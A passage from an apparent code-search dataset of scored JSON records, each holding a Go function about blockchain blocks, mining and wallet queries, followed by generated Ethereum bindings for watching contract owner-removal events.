created;`\n\terr := s.pool.QueryRow(ctx, sql, id, active).Scan(\n\t\t&item.ID,\n\t\t&item.Name,\n\t\t&item.Phone,\n\t\t&item.Active,\n\t\t&item.Created,\n\t)\n\n\tif errors.Is(err, pgx.ErrNoRows) {\n\t\tlog.Println(\"No Rows\")\n\t\treturn nil, ErrNotFound\n\t}\n\n\tif err != nil {\n\t\tlog.Println(err)\n\t\treturn nil, ErrInternal\n\t}\n\treturn item, nil\n}", "title": "" }, { "docid": "24047c36c0c00bbb0e219cf9b0f918b2", "score": "0.61676127", "text": "func GenerateBlock(oldBlock Block, Result int, Proof string, validator string) Block {\n\n\tvar newBlock Block\n\n\tt := time.Now()\n\n\tnewBlock.Index = oldBlock.Index + 1\n\tnewBlock.Timestamp = t.String()\n\tnewBlock.Result = Result\n\tnewBlock.PrevHash = oldBlock.Hash\n newBlock.Difficulty = Difficulty\n newBlock.Validator = validator\n\tnewBlock.MinerReward = 0\n\n log.Printf(\"Use %s to generate new block\\n\", Proof)\n if Proof == \"pow\" {\n\t\tnewBlock = pow(newBlock)\n } else if Proof == \"pos\" || Proof == \"pox\" {\n\t\tnewBlock.Hash = CalculateBlockHash(newBlock)\n\t}\n\treturn newBlock\n}", "title": "" }, { "docid": "c5e906d90097eb1087c56965e51152d7", "score": "0.615731", "text": "func GenerateBlock(oldBlock Block, bpm int) (Block, error) {\n\tvar newBlock Block\n\tt := time.Now()\n\n\tnewBlock.Index = oldBlock.Index + 1\n\tnewBlock.Timestamp = t.String()\n\tnewBlock.BPM = bpm\n\tnewBlock.PrevHash = oldBlock.Hash\n\tnewBlock.Hash = CalculateHash(newBlock)\n\n\treturn newBlock, nil\n}", "title": "" }, { "docid": "f542b2de74bcd50812a86e3b6b816a6f", "score": "0.6147845", "text": "func (w *BaseWallet) GetSignedBlock(blockNum uint64) (*grpcpb.GetSignedBlockResponse,error) {\n\treq := &grpcpb.GetSignedBlockRequest{Start:blockNum}\n\treturn rpcclient.GetRpc().GetSignedBlock(context.Background(),req)\n}", "title": "" }, { "docid": "42e23d831983c3dbbbce19844343faa8", "score": "0.6143144", "text": "func generateBlock(previousBlock Block, BPM int) (Block, error) {\n\n\tnewBlock := Block{\n\t\tIndex: previousBlock.Index + 1,\n\t\tTimestamp: time.Now().String(),\n\t\tBPM: BPM,\n\t\tPrevHash: previousBlock.Hash,\n\t\tDifficulty: 1, //Set to 1 for simplicity\n\t}\n\t// newBlock.Hash = calculateHash(newBlock)\n\n\tfor i := 0; ; i++ {\n\t\thex := fmt.Sprintf(\"%x\", i)\n\t\tnewBlock.Nounce = hex\n\t\tif !isHashValid(calculateHash(newBlock), newBlock.Difficulty) {\n\t\t\tfmt.Println(calculateHash(newBlock), \" do some more work!\")\n\t\t\ttime.Sleep(time.Second)\n\t\t\tcontinue\n\t\t} else {\n\t\t\tfmt.Println(calculateHash(newBlock), \"Work done!\")\n\t\t\tnewBlock.Hash = calculateHash(newBlock)\n\t\t\tbreak\n\t\t}\n\n\t}\n\n\treturn newBlock, nil\n}", "title": "" }, { "docid": "0cfb9e21620e800162f5db836c70e064", "score": "0.6142408", "text": "func (bm blockMath) Block(offset int64) cacheBlockIndex {\n\treturn cacheBlockIndex(offset >> bm.blockSizeBits)\n}", "title": "" }, { "docid": "873ddd01762405dec2f79d9a8c0030a4", "score": "0.61329496", "text": "func (api *API) GetBlockPage(c appengine.Context, height int, hash string, txstart int, limit int) (block Block, err error) {\n\tvar u *url.URL\n\tustr := \"/blocks/\"\n\tif height != 0 && hash != \"\" {\n\t\terr = errors.New(\"Func GetBlockPage: Cannot send both height and hash\")\n\t\treturn\n\t} else if height != 0 {\n\t\tustr = ustr + strconv.Itoa(height)\n\t} else if hash != \"\" {\n\t\tustr = ustr + hash\n\t}\n\tif txstart == 0 && limit == 0 {\n\t\tu, err = api.buildURL(ustr)\n\t} else {\n\t\tparams := map[string]string{\n\t\t\t\"txstart\": strconv.Itoa(txstart),\n\t\t\t\"limit\": strconv.Itoa(limit),\n\t\t}\n\t\tu, err = api.buildURLParams(ustr, params)\n\t}\n\tresp, err := getResponse(c, u)\n\tif err != nil {\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\t//decode JSON into Block\n\tdec := json.NewDecoder(resp.Body)\n\terr = dec.Decode(&block)\n\treturn\n}", "title": "" }, { "docid": "a50776850407d9f22b3ad2d5177e363f", "score": "0.61300796", "text": "func EthBlockFromTendermint(block *tmtypes.Block, fullTx bool) (*Block, error) {\n\tgasLimit, err := BlockMaxGasFromConsensusParams(nil)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttransactions, gasUsed, err := EthTransactionsFromTendermint(block, fullTx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\theader := block.Header\n\n\tif len(header.DataHash) == 0 {\n\t\theader.DataHash = tmbytes.HexBytes(common.Hash{}.Bytes())\n\t}\n\n\treturn &Block{\n\t\tNumber: hexutil.Uint64(header.Height),\n\t\tHash: common.BytesToHash(block.Hash()),\n\t\tParentHash: common.BytesToHash(header.LastBlockID.Hash),\n\t\tNonce: ethtypes.BlockNonce{}, // PoW specific\n\t\tSha3Uncles: common.Hash{}, // No uncles in Tendermint\n\t\tLogsBloom: vm.BytesToBloom(make([]byte, 6)),\n\t\tTransactionsRoot: common.BytesToHash(header.DataHash),\n\t\tStateRoot: common.BytesToHash(header.AppHash),\n\t\tMiner: common.BytesToAddress(header.ProposerAddress.Bytes()),\n\t\tMixHash: common.Hash{},\n\t\tDifficulty: hexutil.Uint64(vm.DefaultDifficulty.Uint64()),\n\t\tTotalDifficulty: hexutil.Uint64(vm.DefaultDifficulty.Uint64()),\n\t\tExtraData: common.Hex2Bytes(\"\"),\n\t\tSize: hexutil.Uint64(block.Size()),\n\t\tGasLimit: (*hexutil.Big)(new(big.Int).SetUint64(gasLimit)), // Static gas limit\n\t\tGasUsed: (*hexutil.Big)(new(big.Int).SetUint64(gasUsed)),\n\t\tTimestamp: hexutil.Uint64(header.Time.Unix()),\n\t\tTransactions: transactions,\n\t\tUncles: make([]common.Hash, 0),\n\t\tReceiptsRoot: common.Hash{},\n\t}, nil\n}", "title": "" }, { "docid": "9c487d3191fe75e1aef3286a2a0a267f", "score": "0.6121609", "text": "func (h HelperContext) Block() (string, error) {\n\treturn h.BlockWith(h.Context)\n}", "title": "" }, { "docid": "0dbcd1808d26d2534f22bc37a0f9b844", "score": "0.6110056", "text": "func (s *PositionalState) Block(p Parser) Parser {\n\treturn s.WithPosition(s.Many(s.SameColumn(p)))\n}", "title": "" }, { "docid": "e1008cd58c4cbca032db09ac6bfb2352", "score": "0.61075", "text": "func (minerKey *MinerKey) ReceiveBlock(receivedBlock Block, reply *string) error {\n\thash := receivedBlock.Hash\n\tpreviousHash := receivedBlock.PreviousHash\n\toperations := receivedBlock.SetOPs\n\n\t// Already exists in local blockchain, do nothing\n\tif ExistInLocalBlockchain(hash) {\n\t\treturn nil\n\t}\n\n\t// Check if received block is a No-Op or Op block based on length of operations\n\tif len(operations) == 0 {\n\t\tif !ComputeTrailingZeroes(hash, settings.PoWDifficultyNoOpBlock) {\n\t\t\treturn errors.New(\"No-op block proof of work does not match the zeroes\")\n\t\t}\n\t} else {\n\t\tif ComputeTrailingZeroes(hash, settings.PoWDifficultyOpBlock) {\n\t\t\tfor _, op := range operations {\n\t\t\t\terr := ValidateOperationForLongestChain(op, globalChain)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn errors.New(\"Block contains operations that failed to validate\")\n\t\t\t\t}\n\t\t\t}\n\t\t} else {\n\t\t\treturn errors.New(\"Op block proof of work does not match the zeroes\")\n\t\t}\n\t}\n\n\t// Check if previous hash is a block that exists in the block chain\n\tvar previousBlock *Block\n\tif prevBlock, exists := CheckPreviousBlock(previousHash); exists {\n\t\tpreviousBlock = prevBlock\n\t} else {\n\t\treturn errors.New(\"Failed to validate hash of a previous block\")\n\t}\n\n\t// After all validations pass, we set properties of block, append to blockchain and send to network\n\treceivedBlock.PathLength = previousBlock.PathLength + 1\n\treceivedBlock.PreviousBlock = previousBlock\n\treceivedBlock.InkBank = previousBlock.TotalInkAmount\n\treceivedBlock.TotalInkAmount = receivedBlock.InkBank + ComputeOpCostForMiner(receivedBlock.MinerPubKey, operations) // add any operations performed by the miner that generated this block\n\tpreviousBlock.IsEndBlock = false\n\n\tif len(operations) == 0 {\n\t\treceivedBlock.TotalInkAmount = receivedBlock.TotalInkAmount + settings.InkPerNoOpBlock\n\t} else {\n\t\treceivedBlock.TotalInkAmount = receivedBlock.TotalInkAmount + settings.InkPerOpBlock\n\t}\n\n\tblockList = append(blockList, receivedBlock)\n\tglobalChain = FindLongestBlockChain()\n\n\tSendBlockInfo(receivedBlock)\n\n\treturn nil\n}", "title": "" }, { "docid": "bbc42cc1434e9f746e22a9235dd3992e", "score": "0.61066735", "text": "func (mm *miningManager) GetBlockTemplate(coinbaseData *externalapi.DomainCoinbaseData) (*externalapi.DomainBlock, error) {\n\timmutableCachedTemplate := mm.getImmutableCachedTemplate()\n\t// We first try and use a cached template\n\tif immutableCachedTemplate != nil {\n\t\tvirtualInfo, err := mm.consensusReference.Consensus().GetVirtualInfo()\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif externalapi.HashesEqual(virtualInfo.ParentHashes, immutableCachedTemplate.Block.Header.DirectParents()) {\n\t\t\tif immutableCachedTemplate.CoinbaseData.Equal(coinbaseData) {\n\t\t\t\t// Both, virtual parents and coinbase data are equal, simply return the cached block with updated time\n\t\t\t\tnewTimestamp := mstime.Now().UnixMilliseconds()\n\t\t\t\tif newTimestamp < immutableCachedTemplate.Block.Header.TimeInMilliseconds() {\n\t\t\t\t\t// Keep the previous time as built by internal consensus median time logic\n\t\t\t\t\treturn immutableCachedTemplate.Block, nil\n\t\t\t\t}\n\t\t\t\t// If new time stamp is later than current, update the header\n\t\t\t\tmutableHeader := immutableCachedTemplate.Block.Header.ToMutable()\n\t\t\t\tmutableHeader.SetTimeInMilliseconds(newTimestamp)\n\n\t\t\t\treturn &externalapi.DomainBlock{\n\t\t\t\t\tHeader: mutableHeader.ToImmutable(),\n\t\t\t\t\tTransactions: immutableCachedTemplate.Block.Transactions,\n\t\t\t\t}, nil\n\t\t\t}\n\n\t\t\t// Virtual parents are equal, but coinbase data is new -- make the minimum changes required\n\t\t\t// Note we first clone the block template since it is modified by the call\n\t\t\tmodifiedBlockTemplate, err := mm.blockTemplateBuilder.ModifyBlockTemplate(coinbaseData, immutableCachedTemplate.Clone())\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\n\t\t\t// No point in updating cache since we have no reason to believe this coinbase will be used more\n\t\t\t// than the previous one, and we want to maintain the original template caching time\n\t\t\treturn modifiedBlockTemplate.Block, nil\n\t\t}\n\t}\n\t// No relevant cache, build a template\n\tblockTemplate, err := mm.blockTemplateBuilder.BuildBlockTemplate(coinbaseData)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// Cache the built template\n\tmm.setImmutableCachedTemplate(blockTemplate)\n\treturn blockTemplate.Block, nil\n}", "title": "" }, { "docid": "d2aade4c595ebbf81f35c458b4ed209d", "score": "0.6097331", "text": "func generateBlock(lastBlock Block, newdata ProjData) Block {\n timestamp := time.Now().String()\n b := Block{lastBlock.BlockID + 1, timestamp, \"\", lastBlock.Hash, newdata}\n b.Hash = hashing(b)\n return b\n}", "title": "" }, { "docid": "1f4131001823fe5cefbf2127ae096cb0", "score": "0.60914403", "text": "func (s *Service) GetBlock(ref string) (*types.Block, error) {\n\trawBlockHash, err := s.getBlockHashByReference(ref)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tblock, err := s.Bus.GetBlock(rawBlockHash)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn block, nil\n}", "title": "" }, { "docid": "97f529ba9e9b7f7b97be07072f0f955e", "score": "0.6084221", "text": "func (s *WAVESScanner) getBlockAtHeight(seq int64) (*CommonBlock, error) {\n\tb, err := s.getBlock(seq)\n\treturn b, err\n}", "title": "" }, { "docid": "dfdafee0365874069763d4e20e38f5a7", "score": "0.60799414", "text": "func (c *apiClient) BlockLatest(ctx context.Context) (Block, error) {\n\trequestUrl, err := url.Parse((fmt.Sprintf(\"%s/%s\", c.server, resourceBlocksLatest)))\n\tif err != nil {\n\t\treturn Block{}, err\n\t}\n\n\treq, err := http.NewRequestWithContext(ctx, http.MethodGet, requestUrl.String(), nil)\n\tif err != nil {\n\t\treturn Block{}, err\n\t}\n\treq.Header.Add(\"project_id\", c.projectId)\n\n\tres, err := c.client.Do(req)\n\tif err != nil {\n\t\treturn Block{}, err\n\t}\n\tdefer res.Body.Close()\n\n\tif res.StatusCode != http.StatusOK {\n\t\treturn Block{}, handleAPIErrorResponse(res)\n\t}\n\tblock := Block{}\n\terr = json.NewDecoder(res.Body).Decode(&block)\n\tif err != nil {\n\t\treturn Block{}, err\n\t}\n\treturn block, nil\n}", "title": "" }, { "docid": "edd8492b508b62b3e819a0b8fe596b7e", "score": "0.6076549", "text": "func NewBlock(prevHash string, transaction Transaction) Block {\n\tblock := Block{}\n\tblock.PrevHash = prevHash\n\tblock.Transaction = transaction\n\tblock.timestamp = time.Now()\n\tblock.nonce = int(math.Round(rand.Float64() * 99999999))\n\treturn block\n}", "title": "" }, { "docid": "640ff8bd7b999de0a8d311790e6b7ccd", "score": "0.6075375", "text": "func (bc Blockchain) GetBlock(hash cipher.SHA256) *coin.Block {\n\treturn bc.tree.GetBlock(hash)\n}", "title": "" }, { "docid": "d0c4ba6f4fdcce984b03ed950d574eca", "score": "0.6073774", "text": "func NewBlock(txs []*Transaction, prevBlockHash []byte, height int64) *Block {\n\t//创建区块\n\tblock := &Block{height, prevBlockHash, txs, time.Now().Unix(), nil, 0}\n\n\t//调用工作量证明的方法,并且返回有效的Hash和Nonce\n\tpow := NewProofOfWork(block)\n\thash, nonce := pow.Run()\n\tblock.Hash = hash\n\tblock.Nonce = nonce\n\n\treturn block\n}", "title": "" }, { "docid": "947056ef77f516a14a71c418b3440a2f", "score": "0.60703796", "text": "func (m *MockFullNode) ChainGetBlock(arg0 context.Context, arg1 cid.Cid) (*types.BlockHeader, error) {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"ChainGetBlock\", arg0, arg1)\n\tret0, _ := ret[0].(*types.BlockHeader)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "title": "" }, { "docid": "c747369c812855e68bbff6be8970b738", "score": "0.606453", "text": "func (client *Client) GetBlock(hash string) (block *Block, err error) {\n\terr = client.call(\"getblock\", &block, hash, 1)\n\n\treturn\n}", "title": "" }, { "docid": "282f9bfa11d4c86b82e47a6c6354fe8c", "score": "0.6061245", "text": "func (fr *FollowerResources) Block(number uint64) *common.Block {\n\tif fr.Height() <= number {\n\t\treturn nil\n\t}\n\treturn blockledger.GetBlock(fr, number)\n}", "title": "" }, { "docid": "15670c3ab203073d95df99c822b4d24d", "score": "0.6056994", "text": "func GetNewBlock(blockName string, mode string) *Block {\n\tb := Block{}\n\tb.initBlock(blockName, mode)\n\treturn &b\n}", "title": "" }, { "docid": "3ec57a9673935a8ac3467c1b500b14d1", "score": "0.6049001", "text": "func NewBlock(transactions []*Transaction, prevBlockHash []byte) *Block {\n\tblock := &Block{\n\t\tTimestamp: time.Now().UnixNano(),\n\t\tTransactions: transactions,\n\t\tPrevBlockHash: prevBlockHash,\n\t\tHash: []byte{},\n\t}\n\n\t// 采用工作量证明得出的新区块\n\tpow := NewProofOfWork(block)\n\tnonce, hash := pow.Run()\n\tblock.Hash = hash\n\tblock.Nonce = nonce\n\n\treturn block\n}", "title": "" }, { "docid": "b4c3a007948e192d5a393670830557bb", "score": "0.6039838", "text": "func NewBlock(\n\tshardIndex shard.Index,\n\theight int64,\n\tprevBlockHeader chainhash.Hash,\n\tshardLedgerRoot merkle.MerkleHash,\n\toutsMerkleRoot merkle.MerkleHash,\n\ttxs []*MsgTxWithProofs,\n\tledgerInfo *LedgerInfo,\n\tisEmptyBlock bool,\n\ttimeStamp int64,\n\treshardSeed []byte,\n\tsc []*SmartContract,\n\touts []*OutState,\n\tupdateActions []*UpdateAction,\n\treduceActions []*ReduceAction) *MsgBlock {\n\tbody := BlockBody{\n\t\tTransactions: txs,\n\t\tSmartContracts: sc,\n\t\tOuts: outs,\n\t\tUpdateActions: updateActions,\n\t}\n\tif ledgerInfo != nil {\n\t\tbody.LedgerInfo = *ledgerInfo\n\t}\n\n\tblock := &MsgBlock{\n\t\tHeader: BlockHeader{\n\t\t\tVersion: BlockVersion,\n\t\t\tShardIndex: shardIndex,\n\t\t\tHeight: height,\n\t\t\tPrevBlockHeader: prevBlockHeader,\n\t\t\tOutsMerkleRoot: outsMerkleRoot,\n\t\t\tShardLedgerMerkleRoot: shardLedgerRoot,\n\t\t\tBlockBodyHash: chainhash.Hash(sha256.Sum256(body.ToBytesArray())),\n\t\t\tIsEmptyBlock: isEmptyBlock,\n\t\t\tTimeStamp: timeStamp,\n\t\t\tReshardSeed: reshardSeed,\n\t\t\tReduceActions: reduceActions,\n\t\t},\n\t\tBody: &body,\n\t}\n\treturn block\n}", "title": "" }, { "docid": "44ed0f215bc9ecd542f5195ebd548683", "score": "0.6030569", "text": "func (env *Env) CheckBlock(pdu *libcoap.Pdu) (bool, *int, *libcoap.Block) {\n blockValue, err := pdu.GetOptionIntegerValue(libcoap.OptionBlock2)\n if err != nil {\n log.WithError(err).Warn(\"Get block2 option value failed.\")\n return false, nil, nil\n\t}\n block := libcoap.IntToBlock(int(blockValue))\n\n size2Value, err := pdu.GetOptionIntegerValue(libcoap.OptionSize2)\n\tif err != nil {\n\t\tlog.WithError(err).Warn(\"Get size 2 option value failed.\")\n return false, nil, nil\n }\n\n eTag, err := pdu.GetOptionIntegerValue(libcoap.OptionEtag)\n if err != nil {\n log.WithError(err).Warn(\"Get Etag option value failed.\")\n return false, nil, nil\n }\n // eTag = 1\n \n if block != nil {\n isMoreBlock := true\n // If block.M = 1, block is more block. If block.M = 0, block is last block\n if block.M == libcoap.MORE_BLOCK {\n log.Debugf(\"Response block is comming (eTag=%+v, block=%+v, size2=%+v), waiting for the next block.\", eTag, block.ToString(), size2Value)\n if block.NUM == 0 {\n env.blocks[eTag] = pdu.Data\n initialBlockSize := env.InitialRequestBlockSize()\n secondBlockSize := env.SecondRequestBlockSize()\n // Check what block_size is used for block2 option\n // If the initialBlockSize is set: client will always request with block2 option\n // If the initialBlockSize is not set and the secondBlockSize is set: if the secondBlockSize is greater than the\n // recommended block size -> use the recommended block size, reversely, use the configured block size\n // If both initialBlockSize and secondBlockSize are not set -> use the recommended block size\n if initialBlockSize == nil && secondBlockSize != nil {\n if *secondBlockSize > block.SZX {\n log.Warn(\"Second block size must not greater thans block size received from server\")\n block.NUM += 1\n } else {\n block.NUM = 1 << uint(block.SZX - *secondBlockSize)\n block.SZX = *secondBlockSize\n }\n } else {\n block.NUM += 1\n }\n } else {\n if data, ok := env.blocks[eTag]; ok {\n env.blocks[eTag] = append(data, pdu.Data...)\n block.NUM += 1\n } else {\n log.Warnf(\"The block version is not unknown. Re-request from the first block\")\n delete(env.blocks, eTag)\n block.NUM = 0\n }\n }\n block.M = 0\n return isMoreBlock, &eTag, block\n } else if block.M == libcoap.LAST_BLOCK {\n log.Debugf(\"Response block is comming (eTag=%+v, block=%+v, size2=%+v), this is the last block.\", eTag, block.ToString(), size2Value)\n isMoreBlock = false\n if data, ok := env.blocks[eTag]; ok {\n env.blocks[eTag] = append(data, pdu.Data...)\n } else if block.NUM > 0 {\n log.Warnf(\"The block version is not unknown. Re-request from the first block\")\n delete(env.blocks, eTag)\n block.NUM = 0\n isMoreBlock = true\n }\n return isMoreBlock, &eTag, block\n }\n }\n return false, nil, nil\n}", "title": "" }, { "docid": "d0cd5ccba9ead0409311b71f96be870d", "score": "0.60270107", "text": "func (g *PluginRPC) QueryBlock(tag string, height uint64, options *ConcreteRequestOptions) (*Block, error) {\n\tvar resp RespQueryBlock\n\terr := g.client.Call(\"Plugin.QueryInfo\", &ArgsQueryBlock{Tag: tag, Height: height, Options: options}, &resp)\n\tif err != nil {\n\t\treturn nil, errRPC\n\t}\n\tif resp.Err != nil {\n\t\treturn nil, resp.Err\n\t}\n\treturn resp.Block, nil\n}", "title": "" } ]
031cc74f989b0d4f81e9d5b9e8d68d43
WatchRemovedOwner is a free log subscription operation binding the contract event 0xf8d49fc529812e9a7c5c50e69c20f0dccc0db8fa95c98bc58cc9a4f1c1299eaf. Solidity: event RemovedOwner(address owner)
[ { "docid": "f02619b13f2e12251c1e599f64a6f9bc", "score": "0.81602144", "text": "func (_GnosisSafe *GnosisSafeFilterer) WatchRemovedOwner(opts *bind.WatchOpts, sink chan<- *GnosisSafeRemovedOwner) (event.Subscription, error) {\n\n\tlogs, sub, err := _GnosisSafe.contract.WatchLogs(opts, \"RemovedOwner\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(GnosisSafeRemovedOwner)\n\t\t\t\tif err := _GnosisSafe.contract.UnpackLog(event, \"RemovedOwner\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" } ]
[ { "docid": "0dae63c8f28e3f501683b3ef342c9ce9", "score": "0.8102058", "text": "func (_OwnerManager *OwnerManagerFilterer) WatchRemovedOwner(opts *bind.WatchOpts, sink chan<- *OwnerManagerRemovedOwner) (event.Subscription, error) {\n\n\tlogs, sub, err := _OwnerManager.contract.WatchLogs(opts, \"RemovedOwner\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(OwnerManagerRemovedOwner)\n\t\t\t\tif err := _OwnerManager.contract.UnpackLog(event, \"RemovedOwner\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "eba604ce3f3b23772e7e7c62c795dac3", "score": "0.77944005", "text": "func (_MultiSigWallet *MultiSigWalletFilterer) WatchOwnerRemoval(opts *bind.WatchOpts, sink chan<- *MultiSigWalletOwnerRemoval, owner []common.Address) (event.Subscription, error) {\n\n\tvar ownerRule []interface{}\n\tfor _, ownerItem := range owner {\n\t\townerRule = append(ownerRule, ownerItem)\n\t}\n\n\tlogs, sub, err := _MultiSigWallet.contract.WatchLogs(opts, \"OwnerRemoval\", ownerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(MultiSigWalletOwnerRemoval)\n\t\t\t\tif err := _MultiSigWallet.contract.UnpackLog(event, \"OwnerRemoval\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "f58ddc59c10cb8a54390ce89d56c6135", "score": "0.76297903", "text": "func (_MultiSigWalletWithDailyLimit *MultiSigWalletWithDailyLimitFilterer) WatchOwnerRemoval(opts *bind.WatchOpts, sink chan<- *MultiSigWalletWithDailyLimitOwnerRemoval, owner []common.Address) (event.Subscription, error) {\n\n\tvar ownerRule []interface{}\n\tfor _, ownerItem := range owner {\n\t\townerRule = append(ownerRule, ownerItem)\n\t}\n\n\tlogs, sub, err := _MultiSigWalletWithDailyLimit.contract.WatchLogs(opts, \"OwnerRemoval\", ownerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(MultiSigWalletWithDailyLimitOwnerRemoval)\n\t\t\t\tif err := _MultiSigWalletWithDailyLimit.contract.UnpackLog(event, \"OwnerRemoval\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "1154a5257c78c373200bb0089f23b217", "score": "0.7063986", "text": "func (_GnosisSafe *GnosisSafeFilterer) FilterRemovedOwner(opts *bind.FilterOpts) (*GnosisSafeRemovedOwnerIterator, error) {\n\n\tlogs, sub, err := _GnosisSafe.contract.FilterLogs(opts, \"RemovedOwner\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &GnosisSafeRemovedOwnerIterator{contract: _GnosisSafe.contract, event: \"RemovedOwner\", logs: logs, sub: sub}, nil\n}", "title": "" }, { "docid": "99c2923e905b09bf2a97f2884db6bc3c", "score": "0.696368", "text": "func (_OwnerManager *OwnerManagerFilterer) FilterRemovedOwner(opts *bind.FilterOpts) (*OwnerManagerRemovedOwnerIterator, error) {\n\n\tlogs, sub, err := _OwnerManager.contract.FilterLogs(opts, \"RemovedOwner\")\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &OwnerManagerRemovedOwnerIterator{contract: _OwnerManager.contract, event: \"RemovedOwner\", logs: logs, sub: sub}, nil\n}", "title": "" }, { "docid": "e45c42cd915cb718a581b3ea06b8cf32", "score": "0.6567719", "text": "func (_MultiSigWallet *MultiSigWalletFilterer) FilterOwnerRemoval(opts *bind.FilterOpts, owner []common.Address) (*MultiSigWalletOwnerRemovalIterator, error) {\n\n\tvar ownerRule []interface{}\n\tfor _, ownerItem := range owner {\n\t\townerRule = append(ownerRule, ownerItem)\n\t}\n\n\tlogs, sub, err := _MultiSigWallet.contract.FilterLogs(opts, \"OwnerRemoval\", ownerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &MultiSigWalletOwnerRemovalIterator{contract: _MultiSigWallet.contract, event: \"OwnerRemoval\", logs: logs, sub: sub}, nil\n}", "title": "" }, { "docid": "7aa4f5a0e2588da190d63438d2f0a413", "score": "0.6559353", "text": "func (_ReserveDollar *ReserveDollarFilterer) WatchOwnerChanged(opts *bind.WatchOpts, sink chan<- *ReserveDollarOwnerChanged, newOwner []common.Address) (event.Subscription, error) {\n\n\tvar newOwnerRule []interface{}\n\tfor _, newOwnerItem := range newOwner {\n\t\tnewOwnerRule = append(newOwnerRule, newOwnerItem)\n\t}\n\n\tlogs, sub, err := _ReserveDollar.contract.WatchLogs(opts, \"OwnerChanged\", newOwnerRule)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn event.NewSubscription(func(quit <-chan struct{}) error {\n\t\tdefer sub.Unsubscribe()\n\t\tfor {\n\t\t\tselect {\n\t\t\tcase log := <-logs:\n\t\t\t\t// New log arrived, parse the event and forward to the user\n\t\t\t\tevent := new(ReserveDollarOwnerChanged)\n\t\t\t\tif err := _ReserveDollar.contract.UnpackLog(event, \"OwnerChanged\", log); err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\t\t\t\tevent.Raw = log\n\n\t\t\t\tselect {\n\t\t\t\tcase sink <- event:\n\t\t\t\tcase err := <-sub.Err():\n\t\t\t\t\treturn err\n\t\t\t\tcase <-quit:\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\t\t\tcase err := <-sub.Err():\n\t\t\t\treturn err\n\t\t\tcase <-quit:\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}), nil\n}", "title": "" }, { "docid": "48c56cf6f53034c9dff89cc1ad689ebb", "score": "0.64951295", "text": "func (_MultiSigWalletWithDailyLimit *MultiSigWalletWithDailyLimitFilterer) FilterOwnerRemoval(opts *bind.FilterOpts, owner []common.Address) 